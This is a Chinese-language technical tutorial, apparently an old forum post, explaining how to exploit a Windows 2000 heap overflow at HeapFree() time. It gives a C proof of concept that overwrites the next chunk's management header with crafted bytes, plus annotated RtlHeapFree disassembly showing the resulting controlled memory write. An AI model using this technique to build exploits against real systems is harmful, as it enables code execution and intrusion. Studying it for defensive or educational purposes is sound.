Windows下的Heap溢出的文章现在并不多，isno写过一篇，我看了受益匪浅，但他实现的利用方法是<br>“假设我们分配完buf1之后向其中拷贝内容，拷贝的内容大小超过buf1的大小，即16字节，就会发生溢<br>出，当如果我们覆盖掉了那两个4字节的指针，而下一次分配buf2之前又没有把buf1释放掉的话，那么就<br>会把一个4字节的内容写入一个地址当中，而这个内容和地址都是我们能够控制的，这样我们就可以控制<br>函数的流程转向我们的shellcode了”，我下面描述另外一种利用方法，也算是给isno的那篇文章做一点<br>补充。<br>在Windows下也是可以像Linux下那样用free()对Heap溢出进行利用，在Windows下用HeapAlloc()函数<br>分配内存后的内存和映象和结构我就不说了，可以看isno的文档，在HeapAlloc()分配完内存后，每一块<br>内存的前面都包含一个8字节的管理区，这个管理区应该是下面的样子：<br><br>0 4 5 6 8<br>│不祥│Field│Flags│不祥│<br><br><br>这8个字节用于HeapFree时使用，假设我们分配2个32字节的内存，当向第一个32字节内存填充达38字<br>节内容时，这时，覆盖了第二个32字节内存的管理区的6个字节，如果这6个字节经过我们精心设计，我们<br>时可以控制程序的流向的。<br>下面代码演示分配2个32字节的内存，在调用HeapFree时发生错误：<br><br>#include &lt;string.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;<br>#include &lt;malloc.h&gt;<br><br>int main (int argc, char *argv[]) <br>{ <br>HANDLE hHeap; <br>char *buf1, *buf2; <br><br>//一个32字节的缓冲区<br>char mybuf[] = &xqypicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&xqypic; <br><br><br>//在进程的默认HEAP当中分配内存 <br>hHeap=GetProcessHeap(); <br><br>//分配两块32字节内存 <br>buf1 = HeapAlloc(hHeap, 0, 32); <br>buf2 = HeapAlloc(hHeap, 0, 32); <br><br>//把32字节的mybuf拷贝到16字节的buf1里面<br>strcpy(buf1,mybuf);<br><br>//更改管理结构<br>memset(buf1+32,0x99,1);<br>memset(buf1+32+5,0xff,1);<br><br>//释放内存 <br>HeapFree(hHeap, 0, buf1);<br>//这里会出错 <br>HeapFree(hHeap, 0, buf2); <br><br>return 0; <br>} <br><br><br>当程序在内存未释放前，内存映象是这样的：<br><br>0 32 40<br>│AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA│0x99,0x00,0x05,0x00,0x00,0xff,0xxx,0xxx│<br><br>我们可以看到，管理区的前6个字节被我们改写了<br><br>第一个字节：必须大于0x80，我们改成0x99<br>第四个字节：必须小于0x40<br>第五个字节：第0和第3位必须置位，例如可以改成0x09，我们这里改成0xFF<br><br>我们可以分析_RtlHeapFree()的反汇编代码，这样可以知道为什么要这样改：<br><br>77FC9C97 mov al,byte ptr [esi+5]<br>77FC9C9A test al,1 //检查管理区的第5字节的第0位是否置位<br>77FC9C9C je 77FC9019<br>77FC9CA2 test dl,7<br>77FC9CA5 jne 77FC9019<br>77FC9CAB cmp byte ptr [esi+4],40h //检查管理区的第4字节是否小于0x40<br>77FC9CAF jae 77FC9019<br>77FC9CB5 or dword ptr [ebp-4],0FFh<br>77FC9CB9 mov ecx,dword ptr [edi+580h]<br>77FC9CBF test ecx,ecx<br>77FC9CC1 je 77FC9D03<br>77FC9CC3 cmp dword ptr [edi+584h],0<br>77FC9CCA jne 77FC9D03<br>77FC9CCC test al,8 //检查管理区的第5字节的第0位是否置位<br>77FC9CCE jne 77FC9D03<br>77FC9CD0 movzx eax,word ptr [esi]<br>77FC9CD3 mov dword ptr [ebp-30h],eax<br>77FC9CD6 cmp eax,80h //检查管理区的第1字节的是否大于0x80<br>77FC9CDB jae 77FC9D03 //我们需要跳到这个地址<br>77FC9CDD push edx<br>77FC9CDE lea eax,[eax+eax*2]<br>77FC9CE1 shl eax,4<br>77FC9CE4 add eax,ecx<br>77FC9CE6 push eax<br>77FC9CE7 call 77F89846<br>77FC9CEC test al,al<br>77FC9CEE je 77FC9D03<br>77FC9CF0 mov al,1<br>77FC9CF2 mov ecx,dword ptr [ebp-10h]<br>77FC9CF5 mov dword ptr fs:[0],ecx<br>77FC9CFC pop edi<br>77FC9CFD pop esi<br>77FC9CFE pop ebx<br>77FC9CFF leave<br>77FC9D00 ret 0Ch<br><br>用release方式编译上面代码运行，弹出如下窗口：0x77fca200指令引用的0x41414141内存不能为written。<br><br>这个41414141在那里呢？我们用softice跟踪可以发现如下代码：<br><br>77FCA1EF add esi,-18h //这时esi指向管理区的入口处，也就是buf1-18h处<br>（这个18在不同的版本的Windows 2000上是不一样的，请根据不同的Windows 2000版本处理），那里正是我们可以控制的<br>77FCA1F2 mov dword ptr [ebp-64h],esi<br>77FCA1F5 mov eax,dword ptr [esi]<br>77FCA1F7 mov dword ptr [ebp-68h],eax<br>77FCA1FA mov esi,dword ptr [esi+4]<br>77FCA1FD mov dword ptr [ebp-6Ch],esi<br>77FCA200 mov dword ptr [esi],eax //写内存，发生错误<br>77FCA202 mov dword ptr [eax+4],esi<br><br>有了上面的基础，我们就可以利用HeapFree()函数了，^_^<br>至于具体攻击程序的编写，请参考isno写的文章《Windows下的HEAP溢出及其利用》，方法是一样的。<br><br>